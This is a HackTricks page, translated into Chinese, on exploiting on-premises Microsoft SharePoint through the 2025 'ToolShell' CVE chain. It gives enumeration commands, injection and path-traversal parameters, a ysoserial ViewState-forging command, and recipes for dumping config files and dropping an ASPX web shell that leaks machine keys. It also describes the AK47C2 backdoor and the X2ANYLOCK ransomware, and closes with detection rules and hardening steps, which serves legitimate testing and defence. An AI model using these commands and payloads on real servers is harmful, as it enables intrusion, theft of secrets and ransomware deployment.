Microsoft SharePoint – Pentesting & Exploitation
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Microsoft SharePoint(本地部署)建立在ASP.NET/IIS之上。因此,大多数经典的网络攻击面(ViewState、Web.Config、web shells等)都存在,但SharePoint还附带数百个专有的ASPX页面和网络服务,显著扩大了暴露的攻击面。 本页面收集了实用技巧,以枚举、利用和在SharePoint环境中持久化,重点关注Unit42披露的2025年利用链(CVE-2025-49704/49706/53770/53771)。
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
允许任意 Server-Side Include 代码被注入到页面中,随后由 ASP.NET 编译。攻击者可以嵌入执行 Process.Start()
的 C# 代码并投放恶意的 ViewState。
2.2 CVE-2025-49706 – Improper Authentication Bypass
同一页面信任 X-Forms_BaseUrl 头来确定站点上下文。通过将其指向 /_layouts/15/
,可以 未认证 地绕过根站点强制的 MFA/SSO。
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
一旦攻击者控制了 ToolPane.aspx
中的一个小工具,他们可以发布一个 未签名(或仅 MAC)的 __VIEWSTATE
值,这会触发 w3wp.exe 内的 .NET 反序列化,导致代码执行。
如果启用了签名,从任何 web.config
中窃取 ValidationKey/DecryptionKey(见 2.4),并使用 ysoserial.net 或 ysodom 伪造有效负载。
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
对于滥用 ASP.NET ViewState 的深入解释,请阅读:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – 路径遍历 / web.config 泄露
向 ToolPane.aspx
发送一个构造的 Source
参数(例如 ../../../../web.config
)会返回目标文件,从而允许泄露:
<machineKey validationKey="…" decryptionKey="…">
➜ 伪造 ViewState / ASPXAUTH cookies- 连接字符串和秘密。
3. 在野外观察到的后渗透食谱
3.1 提取每个 .config 文件(变体-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
生成的 debug_dev.js
可以匿名下载,并包含 所有 敏感配置。
3.2 部署一个 Base64 编码的 ASPX web shell(变体-2)
powershell.exe -EncodedCommand <base64>
解码的有效负载示例(缩短版):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
撰写至:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
外壳暴露了读取/轮换机器密钥的端点,这允许在整个农场中伪造 ViewState 和 ASPXAUTH cookies。
3.3 混淆变体(变体-3)
相同的外壳,但:
- 放置在
...\15\TEMPLATE\LAYOUTS\
下 - 变量名减少为单个字母
- 为沙箱规避和基于时间的 AV 绕过添加了
Thread.Sleep(<ms>)
。
3.4 AK47C2 多协议后门和 X2ANYLOCK 勒索软件(观察到 2025-2026)
最近的事件响应调查(Unit42 “Project AK47”)显示攻击者如何在初始 RCE 之后利用 ToolShell 链在 SharePoint 环境中部署双通道 C2 植入和勒索软件:
AK47C2 – dnsclient
变体
- 硬编码的 DNS 服务器:
10.7.66.10
与权威域update.updatemicfosoft.com
通信。 - 消息是用静态密钥
VHBD@H
XOR 加密的 JSON 对象,十六进制编码并嵌入为子域标签。
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- 长查询被分块并以
s
为前缀,然后在服务器端重新组装。 - 服务器以 TXT 记录回复,采用相同的 XOR/十六进制方案:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- 版本 202504 引入了简化格式
<COMMAND>::<SESSION_KEY>
和分块标记1
、2
、a
。
AK47C2 – httpclient
变体
- 重用相同的 JSON 和 XOR 例程,但通过
libcurl
(CURLOPT_POSTFIELDS
等)在HTTP POST 主体中发送十六进制数据块。 - 相同的任务/结果工作流程允许:
- 任意 shell 命令执行。
- 动态睡眠间隔和杀开关指令。
X2ANYLOCK 勒索软件
- 通过 DLL 侧加载加载的 64 位 C++ 有效负载(见下文)。
- 使用 AES-CBC 加密文件数据 + RSA-2048 包装 AES 密钥,然后附加扩展名
.x2anylock
。 - 递归加密本地驱动器和发现的 SMB 共享;跳过系统路径。
- 投放明文说明
How to decrypt my data.txt
,嵌入静态Tox ID以进行谈判。 - 包含内部杀开关:
if (file_mod_time >= "2026-06-06") exit(0);
DLL 侧加载链
- 攻击者在合法的
7z.exe
旁边写入dllhijacked.dll
/My7zdllhijacked.dll
。 - SharePoint 生成的
w3wp.exe
启动7z.exe
,由于 Windows 搜索顺序加载恶意 DLL,从而在内存中调用勒索软件入口点。 - 观察到一个单独的 LockBit 加载器(
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
)解密 shell 代码并执行DLL 空心化到d3dl1.dll
以运行 LockBit 3.0。
info
在 X2ANYLOCK 中发现的相同静态 Tox ID 出现在泄露的 LockBit 数据库中,暗示关联重叠。
4. 检测思路
监测数据 | 为什么可疑 |
---|---|
w3wp.exe → cmd.exe | 工作进程很少会生成 shell |
cmd.exe → powershell.exe -EncodedCommand | 经典的 lolbin 模式 |
创建 debug_dev.js 或 spinstall0.aspx 的文件事件 | 直接来自 ToolShell 的 IOCs |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/模块日志) | 公开的 PoCs 调用此页面 |
示例 XDR / Sysmon 规则(伪 XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. 加固与缓解
- 补丁 – 2025年7月的安全更新修复所有四个CVE。
- 在被攻破后轮换每个
<machineKey>
和ViewState
秘密。 - 从
WSS_WPG
和WSS_ADMIN_WPG
组中移除LAYOUTS写权限。 - 在代理/WAF级别阻止对
/_layouts/15/ToolPane.aspx
的外部访问。 - 启用ViewStateUserKey、MAC启用和自定义EventValidation。
相关技巧
- IIS后渗透与web.config滥用:
IIS - Internet Information Services
参考文献
- Unit42 – Microsoft SharePoint漏洞的主动利用
- GitHub PoC – ToolShell利用链
- Microsoft安全建议 – CVE-2025-49704 / 49706
- Unit42 – 项目AK47 / SharePoint利用与勒索软件活动
- Microsoft安全建议 – CVE-2025-53770 / 53771
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。